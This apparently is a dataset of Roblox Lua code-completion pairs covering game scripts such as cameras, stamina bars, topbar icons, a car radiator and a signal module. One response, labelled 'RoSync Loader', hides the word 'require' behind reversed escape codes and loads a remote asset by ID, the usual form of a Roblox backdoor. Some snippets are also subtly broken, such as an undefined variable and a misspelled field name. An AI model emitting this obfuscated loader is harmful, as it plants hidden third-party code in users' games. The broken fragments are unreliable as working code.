local x = math.cos(a)
local z = math.sin(a)
local c = script.Parent.HumanoidRootPart.Position
local count = 5

local nodes = {}

local function Spin()
	for i,n in pairs(nodes) do
		local b = a+ i*(360/#nodes)
		x = math.cos(math.rad(b))
		z = math.sin(math.rad(b))
		game:GetService("TweenService"):Create(n,TweenInfo.new(.2,Enum.EasingStyle.Quart),{Position = c + Vector3.new(x,0,z)*5}):Play()
	end
end

local function Start(count)
	for i=1,count do
		local n = Instance.new('Part',workspace)
		n.Anchored = true
		n.Size = Vector3.new(1,1,1)
		n.CanCollide = false
		n:ClearAllChildren()
		n.Parent = workspace
		table.insert(nodes,n)
	end
	local b = 360/#nodes
		c = script.Parent.Position
		a=a+15
	local spincoro = coroutine.create(Spin)
	return spincoro
end


Response:
local ZoomDistance = 40

local L_150_ = {}


Prompt: -- Starter Character Scripts

Response:
function Death()
	wait(0.2)
	local Tool = script.Parent:FindFirstChildWhichIsA("Tool")
	if Tool then
		local M = script.Contain:Clone()
		M.Parent = game.Workspace
		M.Disabled = false
		if Tool:FindFirstChild("Handle") and script.Parent:FindFirstChildWhichIsA("Part") then
			Tool.Handle.Position = script.Parent:FindFirstChildWhichIsA("Part").Position
			Tool.Handle.Velocity = Vector3.new(0,0,0)
			Tool.Handle.RotVelocity = Vector3.new(0,0,0)
			Tool.Handle.CanCollide = true
			Tool.Parent = M
		end
	end
	local Player = game.Players:GetPlayerFromCharacter(script.Parent)
	if Player then
		local Value = 0
		local M = script.Contain:Clone()
		M.Parent = game.Workspace
		M.Disabled = false
		while true do
			local C = Player.Backpack:GetChildren()
			if #C <= 0 or (script.Configuration.DropAll.Value == false and Value >= script.Configuration.DropLimit.Value) then
				break
			end
			for i = 1,#C do
				if math.random(1,1000) == 1000 then
					if C[i]:FindFirstChild("Handle") and Player.Character:FindFirstChildWhichIsA("Part") then
						C[i].Handle.Position = Player.Character:FindFirstChildWhichIsA("Part").Position
						C[i].Handle.Velocity = Vector3.new(0,0,0)
						C[i].Handle.RotVelocity = Vector3.new(0,0,0)
						C[i].Handle.CanCollide = true
						C[i].Parent = M
					end
					Value = Value + 1
				end
				if script.Configuration.DropAll.Value == false and Value >= script.Configuration.DropLimit.Value then
					break
				end
			end
		end
	end
end
script.Parent.Humanoid.Died:connect(Death)


Prompt: -- PRIVATE METHODS

Response:
function IconController:_updateSelectionGroup(clearAll)
	if IconController._navigationEnabled then
		guiService:RemoveSelectionGroup("TopbarPlusIcons")
	end
	if clearAll then
		guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled
		guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled
		IconController._navigationEnabled = nil
	elseif IconController.controllerModeEnabled then
		local icons = IconController.getIcons()
		local iconContainers = {}
		for i, otherIcon in pairs(icons) do
			local featureName = otherIcon.joinedFeatureName
			if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then
				table.insert(iconContainers, otherIcon.instances.iconButton)
			end
		end
		guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers))
		if not IconController._navigationEnabled then
			IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled
			IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled
			guiService.CoreGuiNavigationEnabled = false
			guiService.GuiNavigationEnabled = true
			IconController._navigationEnabled = true
		end
	end
end

local function getScaleMultiplier()
	if guiService:IsTenFootInterface() then
		return 3
	else
		return 1.3
	end
end

function IconController._setControllerSelectedObject(object)
	local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0
	IconController._controllerSetCount = startId
	guiService.SelectedObject = object
	task.delay(0.1, function()
		local finalId = IconController._controllerSetCountS
		if startId == finalId then
			guiService.SelectedObject = object
		end
	end)
end

function IconController._enableControllerMode(bool)
	local indicator = TopbarPlusGui.Indicator
	local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
	if IconController.controllerModeEnabled == bool then
		return
	end
	IconController.controllerModeEnabled = bool
	if bool then
		TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)
		TopbarPlusGui.TopbarContainer.Visible = false
		local scaleMultiplier = getScaleMultiplier()
		indicator.Position = UDim2.new(0.5,0,0,5)
		indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)
		indicator.Image = "rbxassetid://5278151556"
		indicator.Visible = checkTopbarEnabledAccountingForMimic()
		indicator.Position = UDim2.new(0.5,0,0,5)
		indicator.Active = true
		controllerMenuOverride = indicator.InputBegan:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 then
				IconController.setTopbarEnabled(true,false)
			end
		end)
	else
		TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)
		TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic()
		indicator.Visible = false
		IconController._setControllerSelectedObject(nil)
	end
	for icon, _ in pairs(topbarIcons) do
		IconController._enableControllerModeForIcon(icon, bool)
	end
end

function IconController._enableControllerModeForIcon(icon, bool)
	local parentIcon = icon._parentIcon
	local featureName = icon.joinedFeatureName
	if parentIcon then
		icon:leave()
	end
	if bool then
		local scaleMultiplier = getScaleMultiplier()
		local currentSizeDeselected = icon:get("iconSize", "deselected")
		local currentSizeSelected = icon:get("iconSize", "selected")
		local currentSizeHovering = icon:getHovering("iconSize")
		icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode")
		icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode")
		if currentSizeHovering then
			icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode")
		end
		icon:set("alignment", "mid", "deselected", "controllerMode")
		icon:set("alignment", "mid", "selected", "controllerMode")
	else
		local states = {"deselected", "selected", "hovering"}
		for _, iconState in pairs(states) do
			local _, previousAlignment = icon:get("alignment", iconState, "controllerMode")
			if previousAlignment then
				icon:set("alignment", previousAlignment, iconState)
			end
			local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode")
			if previousSize then
				icon:set("iconSize", previousSize, iconState)
			end
		end
	end
	if parentIcon then
		icon:join(parentIcon, featureName)
	end
end

local createdFakeHealthbarIcon = false
function IconController.setupHealthbar()

	if createdFakeHealthbarIcon then
		return
	end
	createdFakeHealthbarIcon = true

	-- Create a fake healthbar icon to mimic the core health gui
	task.defer(function()
		runService.Heartbeat:Wait()
		local Icon = require(iconModule)

		Icon.new()
			:setProperty("internalIcon", true)
			:setName("_FakeHealthbar")
			:setRight()
			:setOrder(-420)
			:setSize(80, 32)
			:lock()
			:set("iconBackgroundTransparency", 1)
			:give(function(icon)

				local healthContainer = Instance.new("Frame")
				healthContainer.Name = "HealthContainer"
				healthContainer.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
				healthContainer.BorderSizePixel = 0
				healthContainer.AnchorPoint = Vector2.new(0, 0.5)
				healthContainer.Position = UDim2.new(0, 0, 0.5, 0)
				healthContainer.Size = UDim2.new(1, 0, 0.2, 0)
				healthContainer.Visible = true
				healthContainer.ZIndex = 11
				healthContainer.Parent = icon.instances.iconButton

				local corner = Instance.new("UICorner")
				corner.CornerRadius = UDim.new(1, 0)
				corner.Parent = healthContainer

				local healthFrame = healthContainer:Clone()
				healthFrame.Name = "HealthFrame"
				healthFrame.BackgroundColor3 = Color3.fromRGB(167, 167, 167)
				healthFrame.BorderSizePixel = 0
				healthFrame.AnchorPoint = Vector2.new(0.5, 0.5)
				healthFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
				healthFrame.Size = UDim2.new(1, -2, 1, -2)
				healthFrame.Visible = true
				healthFrame.ZIndex = 12
				healthFrame.Parent = healthContainer

				local healthBar = healthFrame:Clone()
				healthBar.Name = "HealthBar"
				healthBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
				healthBar.BorderSizePixel = 0
				healthBar.AnchorPoint = Vector2.new(0, 0.5)
				healthBar.Position = UDim2.new(0, 0, 0.5, 0)
				healthBar.Size = UDim2.new(0.5, 0, 1, 0)
				healthBar.Visible = true
				healthBar.ZIndex = 13
				healthBar.Parent = healthFrame

				local START_HEALTHBAR_COLOR = Color3.fromRGB(27, 252, 107)
				local MID_HEALTHBAR_COLOR = Color3.fromRGB(250, 235, 0)
				local END_HEALTHBAR_COLOR = Color3.fromRGB(255, 28, 0)

				local function powColor3(color, pow)
					return Color3.new(
						math.pow(color.R, pow),
						math.pow(color.G, pow),
						math.pow(color.B, pow)
					)
				end

				local function lerpColor(colorA, colorB, frac, gamma)
					gamma = gamma or 2.0
					local CA = powColor3(colorA, gamma)
					local CB = powColor3(colorB, gamma)
					return powColor3(CA:Lerp(CB, frac), 1/gamma)
				end

				local firstTimeEnabling = true
				local function listenToHealth(character)
					if not character then
						return
					end
					local humanoid = character:WaitForChild("Humanoid", 10)
					if not humanoid then
						return
					end

					local function updateHealthBar()
						local realHealthbarEnabled = starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health)
						local healthInterval = humanoid.Health / humanoid.MaxHealth
						if healthInterval == 1 or IconController.healthbarDisabled or (firstTimeEnabling and realHealthbarEnabled == false) then
							if icon.enabled then
								icon:setEnabled(false)
							end
							return
						elseif healthInterval < 1 then
							if not icon.enabled then
								icon:setEnabled(true)
							end
							firstTimeEnabling = false
							if realHealthbarEnabled then
								starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)
							end
						end
						local startInterval = 0.9
						local endInterval = 0.1
						local m = 1/(startInterval - endInterval)
						local c = -m*endInterval
						local colorIntervalAbsolute = (m*healthInterval) + c
						local colorInterval = (colorIntervalAbsolute > 1 and 1) or (colorIntervalAbsolute < 0 and 0) or colorIntervalAbsolute
						local firstColor = (healthInterval > 0.5 and START_HEALTHBAR_COLOR) or MID_HEALTHBAR_COLOR
						local lastColor = (healthInterval > 0.5 and MID_HEALTHBAR_COLOR) or END_HEALTHBAR_COLOR
						local doubleSubtractor = (1-colorInterval)*2
						local modifiedColorInterval = (healthInterval > 0.5 and (1-doubleSubtractor)) or (2-doubleSubtractor)
						local newHealthFillColor = lerpColor(lastColor, firstColor, modifiedColorInterval)
						local newHealthFillSize = UDim2.new(healthInterval, 0, 1, 0)
						healthBar.BackgroundColor3 = newHealthFillColor
						healthBar.Size = newHealthFillSize
					end

					humanoid.HealthChanged:Connect(updateHealthBar)
					IconController.healthbarDisabledSignal:Connect(updateHealthBar)
					updateHealthBar()
				end
				localPlayer.CharacterAdded:Connect(function(character)
					listenToHealth(character)
				end)
				task.spawn(listenToHealth, localPlayer.Character)
			end)
	end)
end

function IconController._determineControllerDisplay()
	local mouseEnabled = userInputService.MouseEnabled
	local controllerEnabled = userInputService.GamepadEnabled
	local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
	if mouseEnabled and controllerEnabled then
		-- Show icon (if option not disabled else hide)
		if not disableControllerOption then
			controllerOptionIcon:setEnabled(true)
		else
			controllerOptionIcon:setEnabled(false)
		end
	elseif mouseEnabled and not controllerEnabled then
		-- Hide icon, disableControllerMode
		controllerOptionIcon:setEnabled(false)
		IconController._enableControllerMode(false)
		controllerOptionIcon:deselect()
	elseif not mouseEnabled and controllerEnabled then
		-- Hide icon, _enableControllerMode
		controllerOptionIcon:setEnabled(false)
		IconController._enableControllerMode(true)
	end
end


Prompt: --Receive announcements

Response:
local goalTransparency = announcement.Transparency

function createAnnouncement(message)
	announcement.AnnouncementText.Text = ""
	announcement.AnnouncementText.TextTransparency = 0
	announcement.Transparency = 1
	announcement.Visible = true

	local fadeTweenInfo = TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
	local fadeInTween = ts:Create(announcement, fadeTweenInfo, {Transparency = goalTransparency})
	fadeInTween:Play()
	task.wait(0.3)

	for i = 1, string.len(message) do
		announcement.AnnouncementText.Text = string.sub(message, 1, i)
		local currentChar = string.sub(message, i, i)
		task.wait(currentChar == "\n" and 0.3 or currentChar == " " and 0.04 or 0.02)
	end

	local announcementTime = string.len(message) / 16
	task.wait(announcementTime)

	local fadeOutTween = ts:Create(announcement, fadeTweenInfo, {Transparency = 1})
	fadeOutTween:Play()
	local fadeTextTween = ts:Create(announcement.AnnouncementText, fadeTweenInfo, {TextTransparency = 1})
	fadeTextTween:Play()

	fadeTextTween.Completed:Wait()
	announcement.Visible = false
end

re.OnClientEvent:Connect(function(instruction, message)
	if instruction == "ANNOUNCE" then
		createAnnouncement(message)
	end
end)


Prompt:
--[[
	BaseCamera - Abstract base class for camera control modules
	2018 Camera Update - AllYourBlox
--]]


Prompt: --easter egg

Response:
mouse.KeyDown:connect(function(key)
	if key=="o" then
		Heat = BlowupTemp-11
	end
end)

if not FE then

radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false

while wait(.2) do
	if Heat > FanTemp and Fan == true then
		FanCool = -FanSpeed
		radiator.Fan.Volume = FanVolume
	else
		FanCool = 0
		radiator.Fan.Volume = 0
	end

	Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
	Heat = math.max(RunningTemp,(Heat+Load)+FanCool)

	if Heat >= BlowupTemp then
		Heat = BlowupTemp
		radiator.Break:Play()
		radiator.Liquid.Volume = .5
		radiator.Oil.Enabled = true
		radiator.Antifreeze.Enabled = true
		script.Parent.Parent.IsOn.Value = false
		script.Blown.Value = true
	elseif Heat >= BlowupTemp-10 then
		radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
		radiator.Smoke.Enabled = true
		radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
	else
		radiator.Smoke.Enabled = false
		radiator.Steam.Volume = 0
	end

	script.Celsius.Value = Heat
	script.Parent.Temp.Text = math.floor(Heat).."°c"
end

else

	handler:FireServer("Initialize",FanSpeed)
while wait(.2) do

	if Heat > FanTemp and Fan == true then
		FanCool = -FanSpeed
		handler:FireServer("FanVolume",FanVolume)
	else
		FanCool = 0
		handler:FireServer("FanVolume",0)
	end

	Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
	Heat = math.max(RunningTemp,(Heat+Load)+FanCool)

	if Heat >= BlowupTemp then
		Heat = BlowupTemp
		handler:FireServer("Blown")
		script.Parent.Parent.IsOn.Value = false
		script.Blown.Value = true
	elseif Heat >= BlowupTemp-10 then
		handler:FireServer("Smoke",true,BlowupTemp,Heat)
	else
		handler:FireServer("Smoke",false,BlowupTemp,Heat)
	end

	script.Celsius.Value = Heat
	script.Parent.Temp.Text = math.floor(Heat).."°c"
end
end


Prompt: -- Function to handle slider button click

Response:
local function onSliderButtonClick(button)
	-- Reset button colors
	norm.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	fast.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	max.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

	-- Move the sliding indicator to the selected button
	local targetSize
	local targetSpeed

	if button == norm then
		targetSize = normalSize
		targetSpeed = normalSpd
	elseif button == fast then
		targetSize = fastSize
		targetSpeed = fastSpd
	elseif button == max then
		targetSize = maxSize
		targetSpeed = maxSpd
	end

	-- Set the uiSpeedUser to the selected speed modifier
	uiSpeedUser.Value = targetSpeed

	-- Check if the user has permission to change the islandSpeed
	if ClipSettings.settings.uiSpeedSetting then
		-- Update the islandSpeed setting in the ClipSettings module based on the uiSpeedUser
		ClipSettings.islandSpeed = uiSpeedUser.Value
	else
		-- Use the default islandSpeed from the ClipSettings module if uiSpeedSetting is off
		ClipSettings.islandSpeed = ClipSettings.islandSpeed
	end

	-- Animate the sliding indicator
	local tween = TweenService:Create(sliding, tweenInfo, {
		Size = targetSize
	})
	tween:Play()

	-- Highlight the selected button
	button.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
end


Prompt:
--[[
	Creates signals via a modulized version of RbxUtility (It was deprecated so this will be released for people who would like to keep using it.

	This creates RBXScriptSignals.

	API:
		table Signal:connect(Function f) --Will run f when the event fires.
		void Signal:wait() --Will wait until the event fires
		void Signal:disconnectAll() --Will disconnect ALL connections created on this signal
		void Signal:fire(Tuple args) --Cause the event to fire with your own arguments

		Connect, Wait, DisconnectAll, and Fire are also acceptable for calling (An uppercase letter rather than a lowercase one)

	Standard creation:

		local SignalModule = require(this module)
		local Signal = SignalModule:CreateNewSignal()

		function OnEvent()
			print("Event fired!")
		end

		Signal:Connect(OnEvent) --Unlike objects, this does not do "object.SomeEvent:Connect()" - Instead, the Signal variable is the event itself.

		Signal:Fire() --Fire it.
--]]

Response:
local Signal = {}

function Signal:CreateNewSignal()
	local This = {}

	local mBindableEvent = Instance.new('BindableEvent')
	local mAllCns = {} --All connection objects returned by mBindableEvent::connect

	--Note to scripters: the 'self' variable is built into lua. Any time a method in a table is called (table:somemethod()), a local variable in that function named "self" is created. This variable is an alias to whatever table the function is part of.

	function This:Connect(Func)
		assert(This == self, "Expected ':' not '.' calling member function Connect")
		assert(typeof(Func) == "function", "Argument #1 of Connect must be a function, got a "..typeof(Func))

		local Con = mBindableEvent.Event:Connect(Func)
		mAllCns[Con] = true
		local ScrSig = {}
		function ScrSig:Disconnect()
			assert(ScrSig == self, "Expected ':' not '.' calling member function Disconnect")

			Con:Disconnect()
			mAllCns[Con] = nil
		end

		return ScrSig
	end

	function This:DisconnectAll()
		assert(This == self, "Expected ':' not '.' calling member function DisconnectAll")

		for Connection, _ in pairs(mAllCns) do
			Connection:Disconnect()
			mAllCns[Connection] = nil
		end
	end

	function This:Wait()
		assert(This == self, "Expected ':' not '.' calling member function Wait")

		return mBindableEvent.Event:Wait()
	end

	function This:Fire(...)
		assert(This == self, "Expected ':' not '.' calling member function Fire")

		mBindableEvent:Fire(...)
	end
	return This
end

return Signal


Prompt: --[[ Last synced 11/13/2020 10:35 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt: --// SERVICES //--

Response:
local CoreGuiService = game:GetService('CoreGui')
local PlayersService = game:GetService('Players')
local GuiService = game:GetService('GuiService')
local UserInputService = game:GetService('UserInputService')
local StarterGui = game:GetService('StarterGui')
local STS_Settings = script.Parent:WaitForChild('STS_Settings')
local StaminaButton = script.Parent:WaitForChild('Mobile')
local Border = StaminaButton:WaitForChild('Border')
local Bar = script.Parent:WaitForChild('Frame_Bar')
local SprintGui = script.Parent
local UIS = game:GetService("UserInputService")
local TS = game:GetService("TweenService")
local plr = game.Players.LocalPlayer
local player = game.Players.LocalPlayer

local Character = game.Players.LocalPlayer.Character
if Character == nil then
	repeat
		wait()
	until (Character ~= nil)
	print('FoundCharacter')
end
local Debounce = false
local Stamina = Character:WaitForChild('Stamina')
local Sprinting = false
local StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay
local StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina
local OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed
local SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value
local RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value
local RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value


Prompt: --[[ Script Variables ]]

Response:
--
while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer

local Tools = {}
local IsAToolEquipped = false

local RevertAutoJumpEnabledToFalse = false

local ThumbstickFrame = nil
local StartImage = nil
local EndImage = nil
local MiddleImages = {}

local IsFollowStick = false
local ThumbstickFrame = nil
local OnMoveTouchEnded = nil		-- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local TouchActivateCn = nil
local OnRenderSteppedCn = nil
local currentMoveVector = Vector3.new(0,0,0)


Prompt:
--[=[
    Translates a line into pseudo text while maintaining params
    @param line string -- The line to translate
    @return string -- The translated line
]=]

Response:
function PseudoLocalize.pseudoLocalize(line)
	local charMap = PseudoLocalize.PSEUDO_CHARACTER_MAP
	local out = ""
	local isParam = false

	for start, stop in utf8.graphemes(line) do
		local char = line:sub(start, stop)
		if char == "{" or char == "[" or char == "<" then
			isParam = true
			out = out .. char
		elseif char == "}" or char == "]" or char == ">" then
			isParam = false
			out = out .. char
		elseif not isParam and charMap[char] then
			out = out .. charMap[char]
		else
			out = out .. char
		end
	end

	return out
end


Prompt:
-----------------
--| Functions |--
-----------------

Response:
local function OnEquipped()
	local myModel = Tool.Parent
	local humanoid = myModel:FindFirstChild('Humanoid')
	if humanoid then -- Preload animations
		ScytheEquipTrack = humanoid:LoadAnimation(ScytheEquipAnimation)
		if ScytheEquipTrack then ScytheEquipTrack:Play() end

		ScytheIdleTrack = humanoid:LoadAnimation(ScytheIdleAnimation)
		if ScytheIdleTrack then ScytheIdleTrack:Play() end

		ScytheSlashTrack = humanoid:LoadAnimation(ScytheSlashAnimation)
	end
end

local function OnChanged(property)
	if property == 'Enabled' and Tool.Enabled == false then
		if ScytheSlashTrack then ScytheSlashTrack:Play() end
	end
end

local function OnUnequipped()
	-- Stop all animations
	if ScytheEquipTrack then ScytheEquipTrack:Stop() end
	if ScytheIdleTrack then ScytheIdleTrack:Stop() end
	if ScytheSlashTrack then ScytheSlashTrack:Stop() end
end


Prompt: -- Tables

Response:
local function CopyTable(T)
  local t2 = {}
  for k,v in pairs(T) do
    t2[k] = v
  end
  return t2
end

local function SortTable(T)
	table.sort(T,
		function(x,y) return x.Name < y.Name
	end)
end


Prompt: --//Character//--

Response:
local Character = script.Parent

local Humanoid = Character:WaitForChild("Humanoid")


Prompt: --- Prepares selection for dragging, and returns the initial state of the selection.

Response:
function MoveTool:PrepareSelectionForDragging()
	local InitialPartStates = {}
	local InitialModelStates = {}

	-- Get index of parts
	local PartIndex = Support.FlipTable(Selection.Parts)

	-- Stop parts from moving, and capture the initial state of the parts
	for _, Part in pairs(Selection.Parts) do
		InitialPartStates[Part] = {
			Anchored = Part.Anchored;
			CanCollide = Part.CanCollide;
			CFrame = Part.CFrame;
		}
		Part.Anchored = true;
		Part.CanCollide = false;
		InitialPartStates[Part].Joints = Core.PreserveJoints(Part, PartIndex)
		Part:BreakJoints();
		Part.Velocity = Vector3.new();
		Part.RotVelocity = Vector3.new();
	end;

	-- Get initial model states (temporarily pcalled due to pivot API being in beta)
	pcall(function ()
		for _, Model in ipairs(Selection.Models) do
			InitialModelStates[Model] = {
				Pivot = Model:GetPivot();
			}
		end
	end)

	-- Get initial state of focused item
	local InitialFocusCFrame
	local Focus = Selection.Focus
	if not Focus then
		InitialFocusCFrame = nil
	elseif Focus:IsA 'BasePart' then
		InitialFocusCFrame = Focus.CFrame
	elseif Focus:IsA 'Model' then
		InitialFocusCFrame = Focus:GetModelCFrame()
		pcall(function ()
			InitialFocusCFrame = Focus:GetPivot()
		end)
	end

	return InitialPartStates, InitialModelStates, InitialFocusCFrame
end;


Prompt: --[[[Default Controls]]

Response:
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)

		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}

	--Control Mapping
	Tune.Controls = {

	--Keyboard Controls
		--Mode Toggles
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,

		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,

		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,

		--Handbrake
		PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadRight			,
		ContlrToggleTCS			= Enum.KeyCode.DPadRight				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}


Prompt: -- PRIVATE METHODS

Response:
function IconController:_updateSelectionGroup(clearAll)
	if IconController._navigationEnabled then
		guiService:RemoveSelectionGroup("TopbarPlusIcons")
	end
	if clearAll then
		guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled
		guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled
		IconController._navigationEnabled = nil
	elseif IconController.controllerModeEnabled then
		local icons = IconController.getIcons()
		local iconContainers = {}
		for i, otherIcon in pairs(icons) do
			local featureName = otherIcon.joinedFeatureName
			if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then
				table.insert(iconContainers, otherIcon.instances.iconButton)
			end
		end
		guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers))
		if not IconController._navigationEnabled then
			IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled
			IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled
			guiService.CoreGuiNavigationEnabled = false
			guiService.GuiNavigationEnabled = true
			IconController._navigationEnabled = true
		end
	end
end

local function getScaleMultiplier()
	if guiService:IsTenFootInterface() then
		return 3
	else
		return 1.3
	end
end

function IconController._setControllerSelectedObject(object)
	local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0
	IconController._controllerSetCount = startId
	guiService.SelectedObject = object
	delay(0.1, function() -- blame the roblox guiservice its a piece of doo doo
		local finalId = IconController._controllerSetCount
		if startId == finalId then
			guiService.SelectedObject = object
		end
	end)
end

function IconController._enableControllerMode(bool)
	local indicator = TopbarPlusGui.Indicator
	local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
	if IconController.controllerModeEnabled == bool then
		return
	end
	IconController.controllerModeEnabled = bool
	if bool then
		TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)
		TopbarPlusGui.TopbarContainer.Visible = false
		local scaleMultiplier = getScaleMultiplier()
		indicator.Position = UDim2.new(0.5,0,0,5)
		indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)
		indicator.Image = "rbxassetid://5278151556"
		indicator.Visible = checkTopbarEnabled()
		indicator.Position = UDim2.new(0.5,0,0,5)
	else
		TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)
		TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabled()
		indicator.Visible = false
		IconController._setControllerSelectedObject(nil)
	end
	for icon, _ in pairs(topbarIcons) do
		IconController._enableControllerModeForIcon(icon, bool)
	end
end

function IconController._enableControllerModeForIcon(icon, bool)
	local parentIcon = icon._parentIcon
	local featureName = icon.joinedFeatureName
	if parentIcon then
		icon:leave()
	end
	if bool then
		local scaleMultiplier = getScaleMultiplier()
		local currentSizeDeselected = icon:get("iconSize", "deselected")
		local currentSizeSelected = icon:get("iconSize", "selected")
		local currentSizeHovering = icon:getHovering("iconSize")
		icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode")
		icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode")
		if currentSizeHovering then
			icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode")
		end
		icon:set("alignment", "mid", "deselected", "controllerMode")
		icon:set("alignment", "mid", "selected", "controllerMode")
	else
		local states = {"deselected", "selected", "hovering"}
		for _, iconState in pairs(states) do
			local _, previousAlignment = icon:get("alignment", iconState, "controllerMode")
			if previousAlignment then
				icon:set("alignment", previousAlignment, iconState)
			end
			local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode")
			if previousSize then
				icon:set("iconSize", previousSize, iconState)
			end
		end
	end
	if parentIcon then
		icon:join(parentIcon, featureName)
	end
end


Prompt: -- Variables.

Response:
local loadingScreen = script.LoadingScreen
